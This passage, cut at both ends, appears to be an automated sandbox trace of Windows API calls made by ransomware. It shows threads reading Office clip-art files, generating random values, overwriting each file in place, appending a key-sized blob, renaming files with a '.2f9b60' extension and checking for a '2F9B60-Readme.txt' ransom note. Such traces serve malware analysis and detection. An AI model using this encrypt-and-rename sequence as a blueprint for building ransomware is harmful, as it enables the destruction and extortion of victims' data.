Office\\CLIPART\\PUB60COR\\448bd7eb26a2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107180 Thread: id = 1493 os_tid = 0x19a8 [0120.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0122.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF", dwFileAttributes=0x20) returned 1 [0122.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf9c [0122.816] GetFileSizeEx (in: hFile=0xf9c, lpFileSize=0x1e5afac0 | out: lpFileSize=0x1e5afac0*=8070) returned 1 [0122.816] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x1f82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.816] ReadFile (in: hFile=0xf9c, lpBuffer=0x1e5afa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e5afa88, lpOverlapped=0x0 | out: lpBuffer=0x1e5afa40*, lpNumberOfBytesRead=0x1e5afa88*=0x4, lpOverlapped=0x0) returned 1 [0123.431] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4e0 [0123.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0123.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.431] NtQuerySystemTime (in: CurrentTime=0x1e5af980 | out: CurrentTime=0x1e5af980*=132462177288166000) returned 0x0 [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x112eb340 [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x78d295a0 [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x6406740f [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x4eede9ee [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x43b9bb8b [0123.431] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x28be5867 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x4bc965aa [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x304fd70c [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x551e75a1 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x408e15af [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x7beba1be [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x191226dc [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x3459483d [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x4f44b51f [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x5354d8bb [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x6ae4afe3 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x2574ebda [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0xa1a0cd2 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x6643ffb2 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x10d901c0 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x164d964d [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x7e6504cd [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x160866c2 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x4fb4d2de [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x4cfbb086 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x240fb788 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x6e0a0112 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x250c2fa6 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x76e5182e [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x7f58a260 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x6fc63ce6 [0123.432] RtlRandomEx (in: Seed=0x1e5af970 | out: Seed=0x1e5af970) returned 0x3eaa6f41 [0123.440] ReadFile (in: hFile=0xf9c, lpBuffer=0x204a8750, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x1e5af970, lpOverlapped=0x0 | out: lpBuffer=0x204a8750*, lpNumberOfBytesRead=0x1e5af970*=0x1f86, lpOverlapped=0x0) returned 1 [0123.515] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.515] WriteFile (in: hFile=0xf9c, lpBuffer=0x204ac360*, nNumberOfBytesToWrite=0x1f86, lpNumberOfBytesWritten=0x1e5af974, lpOverlapped=0x0 | out: lpBuffer=0x204ac360*, lpNumberOfBytesWritten=0x1e5af974*=0x1f86, lpOverlapped=0x0) returned 1 [0160.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a28a0 [0160.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2930 [0160.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2930) returned 1 [0160.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ac360) returned 1 [0160.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a8750) returned 1 [0160.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2930 [0160.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2960 [0160.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2960) returned 1 [0160.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2960 [0160.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2990 [0160.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a29c0 [0160.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce138b0 [0160.913] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.913] WriteFile (in: hFile=0xf9c, lpBuffer=0x1ce138b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e5afa90, lpOverlapped=0x0 | out: lpBuffer=0x1ce138b0*, lpNumberOfBytesWritten=0x1e5afa90*=0x10a, lpOverlapped=0x0) returned 1 [0163.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0163.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420601b0 [0163.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f80 [0163.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f80) returned 1 [0163.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420601b0) returned 1 [0163.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0163.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.124] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="f8") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.124] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="83") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="a5") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="03") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="a4") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="89") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="68") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="56") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="30") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="18") returned 2 [0163.125] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="56") returned 2 [0163.125] RtlInitAnsiString (in: DestinationString=0x1e5afb08, SourceString="a1b1f87d8f1a83d4c5a503a47cb35c8968b356d0eb301856" | out: DestinationString="a1b1f87d8f1a83d4c5a503a47cb35c8968b356d0eb301856") [0163.125] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e5afad8, SourceString="a1b1f87d8f1a83d4c5a503a47cb35c8968b356d0eb301856", AllocateDestinationString=1 | out: DestinationString="a1b1f87d8f1a83d4c5a503a47cb35c8968b356d0eb301856") returned 0x0 [0163.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8645a0 [0163.126] RtlFreeAnsiString (AnsiString="a") [0163.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce138b0) returned 1 [0163.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2960) returned 1 [0163.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2990) returned 1 [0163.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2930) returned 1 [0163.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a28a0) returned 1 [0163.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0163.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0163.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0163.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb56b0 [0163.129] wcscat (in: _Dest=0x1cdb56b0, _Source="a1b1f87d8f1a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a" [0163.130] wcscat (in: _Dest=0x1cdb56b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a.2f9b60" [0163.130] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a.2f9b60", NtPathName=0x1e5afab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a1b1f87d8f1a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106640 [0164.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0164.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1d010) returned 1 [0164.369] NtQueryInformationFile (in: FileHandle=0xf9c, IoStatusBlock=0x1e5afb18, FileInformation=0x1e5afb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e5afb18, FileInformation=0x1e5afb28) returned 0x0 [0164.370] NtSetInformationFile (FileHandle=0xf9c, IoStatusBlock=0x1e5afb18, FileInformation=0x1e5afb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb56b0) returned 1 [0164.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8645a0) returned 1 [0164.373] FlushFileBuffers (hFile=0xf9c) returned 1 [0166.261] CloseHandle (hObject=0xf9c) returned 1 [0182.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c31350 [0182.820] wcscpy (in: _Dest=0x42c31350, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0182.820] wcscat (in: _Dest=0x42c31350, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0182.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0182.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31350) returned 1 [0182.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509840) returned 1 Thread: id = 1494 os_tid = 0x19ac [0120.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0122.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF", dwFileAttributes=0x20) returned 1 [0122.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0123.429] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x1e2ffac0 | out: lpFileSize=0x1e2ffac0*=9304) returned 1 [0123.429] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.429] ReadFile (in: hFile=0x14d8, lpBuffer=0x1e2ffa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e2ffa88, lpOverlapped=0x0 | out: lpBuffer=0x1e2ffa40*, lpNumberOfBytesRead=0x1e2ffa88*=0x4, lpOverlapped=0x0) returned 1 [0123.505] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0123.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0123.506] NtQuerySystemTime (in: CurrentTime=0x1e2ff980 | out: CurrentTime=0x1e2ff980*=132462177288946000) returned 0x0 [0123.506] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x56a517ba [0123.506] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x76119704 [0123.506] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x5c1d5da2 [0123.506] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x4fb1c653 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0xe1f0c83 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x54dbdd38 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x26233c4 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x6e432636 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x52a63b26 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x1a5153ac [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x584fafc2 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x38388726 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x6ae4afe3 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x5711bab0 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x4a83a6ad [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x4f380531 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x32704b98 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x37731270 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x5638b9ad [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x7002f18d [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x3029517 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x6a8563ad [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x665d5491 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x53ded27 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x7368c61c [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x1a41ce7a [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x4fb1c653 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x629fce21 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x7945f319 [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x6877a9eb [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x42be478f [0123.507] RtlRandomEx (in: Seed=0x1e2ff970 | out: Seed=0x1e2ff970) returned 0x6f26ac72 [0123.513] ReadFile (in: hFile=0x14d8, lpBuffer=0x204aff70, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x1e2ff970, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesRead=0x1e2ff970*=0x2458, lpOverlapped=0x0) returned 1 [0123.866] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.866] WriteFile (in: hFile=0x14d8, lpBuffer=0x204b7790*, nNumberOfBytesToWrite=0x2458, lpNumberOfBytesWritten=0x1e2ff974, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesWritten=0x1e2ff974*=0x2458, lpOverlapped=0x0) returned 1 [0160.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b20 [0160.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b50 [0160.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b50) returned 1 [0160.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0160.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0160.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0160.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059380) returned 1 [0160.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1b50 [0160.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059380 [0160.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0160.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b80 [0160.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b80) returned 1 [0160.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1b80 [0160.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1bb0 [0160.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1be0 [0160.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1be0) returned 1 [0160.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0160.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059380) returned 1 [0160.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce128f0 [0160.792] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.792] WriteFile (in: hFile=0x14d8, lpBuffer=0x1ce128f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e2ffa90, lpOverlapped=0x0 | out: lpBuffer=0x1ce128f0*, lpNumberOfBytesWritten=0x1e2ffa90*=0x10a, lpOverlapped=0x0) returned 1 [0165.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eaa0 [0165.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eaa0) returned 1 [0165.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eaa0 [0165.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ead0 [0165.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ead0) returned 1 [0165.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.421] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="54") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="81") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="69") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="c6") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="32") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="ed") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="39") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="ff") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="a2") returned 2 [0165.422] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="88") returned 2 [0165.422] sprintf (in: 